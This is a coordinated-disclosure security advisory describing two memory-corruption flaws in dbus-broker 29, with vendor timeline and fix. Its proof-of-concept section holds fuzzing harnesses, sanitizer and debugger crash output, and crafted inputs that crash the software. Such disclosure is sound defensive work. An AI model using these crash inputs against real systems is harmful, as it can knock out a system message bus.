SEC Consult Vulnerability Lab Security Advisory < 20220602-0 > ======================================================================= title: Multiple Memory Corruption Vulnerabilities product: dbus-broker vulnerable version: dbus-broker-29 fixed version: dbus-broker-31 CVE number: CVE-2022-31212, CVE-2022-31213 impact: medium homepage: https://github.com/bus1/dbus-broker found: 2022-01-14 by: S. Robertz (Office Vienna) G. Hechenberger (Office Vienna) T. Weber (Office Vienna) T. Longin (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "The dbus-broker project is an implementation of a message bus as defined by the D-Bus specification. Its aim is to provide high performance and reliability, while keeping compatibility to the D-Bus reference implementation. It is exclusively written for Linux systems, and makes use of many modern features provided by recent linux kernel releases." Source: https://github.com/bus1/dbus-broker Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. Vulnerability overview/description: ----------------------------------- 1) Stack-Buffer Over-Read (CVE-2022-31212) Dbus-Broker depends on c-uitl/c-shquote to parse DBus service's Exec line. c-shquote contains a stack buffer over-read if a malicious Exec line is supplied. 2) Null Pointer Dereference (CVE-2022-31213) Multiple Null Pointer references can be found when supplying a malformed XML config file. Proof of concept: ----------------- 1) Stack-Buffer Over-Read (CVE-2022-31212) Following harness was used to fuzz the function c_shquote_parse_argv() as it is used in src/launch/launcher.c of dbus-broker. ------------------------------------------------------ #include <sys/types.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include "c-shquote.h" #define SIZE_65KB 66560 int main(int argc, char** argv) { char fuzz_buf[SIZE_65KB] = ""; ssize_t fuzz_len = read(STDIN_FILENO, fuzz_buf, SIZE_65KB); char **out_argv; ssize_t out_argc; c_shquote_parse_argv(&out_argv, &out_argc, fuzz_buf, strlen(fuzz_buf)); return 0; } ---------------------------------------------------------- Passing \xff to the STDIN of the testharness will cause following crash: ---------------------------------------------------------- ==21744==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff98c675bf at pc 0x558e29cacc02 bp 0x7fff98c67490 sp 0x7fff98c67488 READ of size 1 at 0x7fff98c675bf thread T0 #0 0x558e29cacc01 in c_shquote_strncspn c-shquote/src/c-shquote.c:119:21 #1 0x558e29caff15 in c_shquote_parse_next c-shquote/src/c-shquote.c:540:31 #2 0x558e29cb09c2 in c_shquote_parse_argv c-shquote/src/c-shquote.c:620:21 #3 0x558e29cab7e9 in c-shquote/src/argv_parser.c:23:2 #4 0x7f07953a8b24 in __libc_start_main (/usr/lib/libc.so.6+0x27b24) #5 0x558e29bca15d in _start (c-shquote/src/harness_argv_parser+0x2015d) Address 0x7fff98c675bf is located in stack of thread T0 at offset 287 in frame #0 0x558e29cac54f in c_shquote_strncspn c-shquote/src/c-shquote.c:102 This frame has 1 object(s): [32, 287) 'buffer' (line 103) <== Memory access at offset 287 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow c-shquote/src/c-shquote.c:119:21 in c_shquote_strncspn Shadow bytes around the buggy address: 0x100073184e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100073184e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100073184e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100073184e90: 00 00 00 00 f1 f1 f1 f1 00 00 00 00 00 00 00 00 0x100073184ea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x100073184eb0: 00 00 00 00 00 00 00[07]f3 f3 f3 f3 f3 f3 f3 f3 0x100073184ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100073184ed0: 00 00 00 00 f1 f1 f1 f1 00 f2 f2 f2 00 f2 f2 f2 0x100073184ee0: 00 f2 f2 f2 00 f3 f3 f3 00 00 00 00 00 00 00 00 0x100073184ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100073184f00: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 f2 f2 f2 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone:f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==21744==ABORTING ------------------------------------------------------ The error occurs in the functions c_shquote_strnspn() and c_shquote_strncspn(). Both allocate a buffer like this: bool buffer[UCHAR_MAX] = {}; UCHAR_MAX is defined in the C standard header limits.h and equals 255. Thus, array indexes of 0-254 can be addressed. However, the buffer will then be accessed like this: buffer[(unsigned char)string[i]], where string is the commandline from STDIN (or the EXEC line in case of dbus-broker services). Passing \xff will thus read an out of bounds array element. 2) Null Pointer Dereference (CVE-2022-31213) The dbus-broker config parser uses the expat library to parse XML files. <limit name="max_pendingonment"/> is a valid XML line. Thus expat will parse it correctly. As no value is supplied in the statement, the limit_max_pendingonment parameter will contain a Null pointer. DBus-broker does not validate the result and tries to dereference the field, causing a crash. Multiple other XML edge case can be found that cause the expat library to correctly return a Null pointer, but are not handled correctly by the dbus-broker. Including <limit name="max_pendingonment"/> causes following error message: ------------------------- Program received signal SIGSEGV, Segmentation fault. 0x00007ffff782474a in ____strtoull_l_internal () from /lib64/libc.so.6 Missing separate debuginfos, use: yum debuginfo-install expat-2.2.5-4.el8.x86_64 libblkid- 2.32.1-28.el8.x86_64 libcap-2.26-5.el8.x86_64 libgcc-8.5.0-4.el8_5.x86_64 libmount-2.32.1- 28.el8.x86_64 libselinux-2.9-5.el8.x86_64 libuuid-2.32.1-28.el8.x86_64 pcre2-10.32- 2.el8.x86_64 sssd-client-2.5.2-2.el8_5.1.x86_64 systemd-libs-239-51.el8.x86_64 (gdb) bt #0 0x00007ffff782474a in ____strtoull_l_internal () from /lib64/libc.so.6 #1 0x000000000040cf0a in util_strtou64 (valp=valp@entry=0x828bc8, string=0x0) at ../src/util/string.c:42 #2 0x0000000000408f07 in config_parser_end_fn (userdata=0x7fffffffdf58, name=0x82278c "limit") at ../src/launch/config.c:1140 #3 0x00007ffff7ba100f in doContent () from /lib64/libexpat.so.1 #4 0x00007ffff7ba20c0 in contentProcessor () from /lib64/libexpat.so.1 #5 0x00007ffff7ba480c in XML_ParseBuffer () from /lib64/libexpat.so.1 #6 0x000000000040425f in config_parser_include (parser=0x7fffffffdf50, root=0x0, node=<optimized out>, nss_cache=0x7fffffffdf30, dirwatch=0x8192a0) at ../src/launch/config.c:1289 #7 config_parser_read (parser=parser@entry=0x7fffffffdf50, rootp=rootp@entry=0x7fffffffdf28, path=<optimized out>, nss_cache=nss_cache@entry=0x7fffffffdf30, dirwatch=0x8192a0) at ../src/launch/config.c:1347 #8 0x0000000000402c02 in main (argc=<optimized out>, argv=0x7fffffffe098) at ../src/launch/harness-config.c:24 ------------------------- Following harness was used: ------------------------- #include <c-list.h> #include <c-stdaux.h> #include <stdlib.h> #include "launch/config.h" #include "launch/nss-cache.h" #include "util/dirwatch.h" int main(int argc, char **argv) { _c_cleanup_(config_parser_deinit) ConfigParser parser = CONFIG_PARSER_NULL(parser); _c_cleanup_(config_root_freep) ConfigRoot *rootp = NULL; _c_cleanup_(nss_cache_deinit) NSSCache nss_cache = NSS_CACHE_INIT; _c_cleanup_(dirwatch_freep) Dirwatch *dirwatch = NULL; int r; r = dirwatch_new(&dirwatch); config_parser_init(&parser); r = config_parser_read(&parser, &rootp, argv[1], &nss_cache, dirwatch); return 0; } ------------------------- Following config file will cause another error: ------------------------- 00000000: 3c21 2d2d 202d 2d3e 0a0a 3c21 444f 4354 <!-- -->..<!DOCT 00000010: 5950 4520 6720 5055 424c 4943 2022 2d2f YPE g PUBLIC "-/ 00000020: 4e22 0a20 2268 7474 223e 0a3c 6275 7363 N". "htt">.<busc 00000030: 6f6e 6669 673e 0a0a 203c 7479 7065 3e73 onfig>.. <type>s 00000040: 643c 2f74 7970 653e 3c66 6f72 6b2f 3e0a d</type><fork/>. 00000050: 203c 7374 616e 6461 7264 5f73 7973 e803 <standard_sys.. 00000060: 6d5f 7365 7276 6963 6564 6972 732f 3e0a m_servicedirs/>. 00000070: 203c 7365 7276 6963 6564 6972 2072 6563 <servicedir rec 00000080: 6569 7665 5f74 7970 653d 2265 7272 6f72 eive_type="error 00000090: 222f 3e0a 3c61 6c6c 6f77 2072 6563 6569 "/>.<allow recei 000000a0: 7665 5f74 7970 653d 2273 6967 6e61 6c22 ve_type="signal" 000000b0: 2f3e 2d3e 203c 616c 6c6f 7720 7365 6e64 />-> <allow send 000000c0: 5f64 6573 7469 6e61 7469 6f6e 3d22 220a _destination="". 000000d0: 2020 2073 656e 645f 696e 7465 7266 6163 send_interfac 000000e0: 653d 2222 202f 3e0a 3c61 6c6c 6f77 2073 e="" />.<allow s 000000f0: 656e 645f 6465 7374 696e 617d 696f 6e3d end_destina}ion= 00000100: 2222 0a20 2020 7365 6e64 5f69 6e74 6572 "". send_inter 00000110: 6661 6365 3d22 6f72 6522 2f3e 203c 212d face="ore"/> <!- 00000120: 2d20 2d2d 3e20 3c64 656e 7920 7365 6e64 - --> <deny send 00000130: 5f64 6573 74 _dest ------------------------- The error is following: ------------------------- id:000047,sig:11,src:000356+000302,time:4820049,execs:17106488,op:splice,rep:4 Unknown element in /fuzzing_Data/dbus-broker-config/out/harness-config2-- /crashes/id:000047,sig:11,src:000356+000302,time:4820049,execs:17106488,op:splice,rep:4 +8: standard_sysm_servicedirs Unknown attribute in /fuzzing_Data/dbus-broker-config/out/harness-config2-- /crashes/id:000047,sig:11,src:000356+000302,time:4820049,execs:17106488,op:splice,rep:4 +9: receive_type="error" Program received signal SIGSEGV, Segmentation fault. 0x00007ffff789dc95 in __strlen_avx2 () from /lib64/libc.so.6 #0 0x00007ffff789dc95 in __strlen_avx2 () from /lib64/libc.so.6 #1 0x00007ffff78714e2 in strdup () from /lib64/libc.so.6 #2 0x0000000000408e96 in config_parser_end_fn (userdata=0x7fffffffdf48, name=0x81b45c "servicedir") at ../src/launch/config.c:1130 #3 0x00007ffff7ba100f in doContent () from /lib64/libexpat.so.1 #4 0x00007ffff7ba20c0 in contentProcessor () from /lib64/libexpat.so.1 #5 0x00007ffff7b9fb6b in doProlog () from /lib64/libexpat.so.1 #6 0x00007ffff7ba0a5f in prologProcessor () from /lib64/libexpat.so.1 #7 0x00007ffff7ba480c in XML_ParseBuffer () from /lib64/libexpat.so.1 #8 0x000000000040425f in config_parser_include (parser=0x7fffffffdf40, root=0x0, node=<optimized out>, nss_cache=0x7fffffffdf20, dirwatch=0x8192a0) at ../src/launch/config.c:1289 #9 config_parser_read (parser=parser@entry=0x7fffffffdf40, rootp=rootp@entry=0x7fffffffdf18, path=<optimized out>, nss_cache=nss_cache@entry=0x7fffffffdf20, dirwatch=0x8192a0) at ../src/launch/config.c:1347 #10 0x0000000000402c02 in main (argc=<optimized out>, argv=0x7fffffffe088) at ../src/launch/harness-config.c:24 ------------------------- Vulnerable / tested versions: ----------------------------- The Git Master branch (dbus-broker-29) has been tested and found to be vulnerable (tested at commit 727bee57cd3e3b5806eb8599abbdd49984b75732). Furthermore, it also contains the vulnerable c-shquote library (tested at commit 83ccc2893385fcca1424b188f0f6c45a62f2b38d). Vendor contact timeline: ------------------------ 2022-04-01: Contacting vendor email. 2022-04-04: Sending advisory via unencrypted email. 2022-04-19: Bugs are fixed. New version will be released 2022-04-20. 2022-05-10: dbus-broker-30 released. 2022-05-16: dbus-broker-31 released with further fixes. 2022-06-02: Release of security advisory. Solution: --------- Update to the latest version. The vendor provides an updated version v30. v31 is available now which should be used as other introduced bugs have been fixed there: https://github.com/bus1/dbus-broker/releases/tag/v31 Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF S. Robertz, G. Hechenberger, T. Weber, T. Longin / @2022